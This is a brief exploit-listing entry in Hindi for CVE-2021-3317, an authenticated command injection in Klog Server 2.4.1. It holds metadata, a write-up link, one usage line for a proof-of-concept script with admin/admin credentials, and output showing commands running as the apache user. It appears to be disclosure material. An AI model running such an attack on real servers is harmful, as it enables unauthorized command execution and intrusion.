
CVE-2021-3317
शोषण शीर्षक: Klog Server 2.4.1 - कमांड इंजेक्शन (प्रमाणित)
दिनांक: 26.01.2021
शोषण लेखक: Metin Yunus Kandemir
विक्रेता होमपेज: https://www.klogserver.com/
संस्करण: 2.4.1
विवरण: https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection
CVE: 2021-3317
python3 PoC.py --target 10.10.56.51 --username admin --password admin --command id
[*] Status Code for login request: 302
[+] Authentication was successful!
[*] Exploiting...
uid=48(apache) gid=48(apache) groups=48(apache)
https://docs.unsafe-inline.com/0day/klog-server-authenticated-command-injection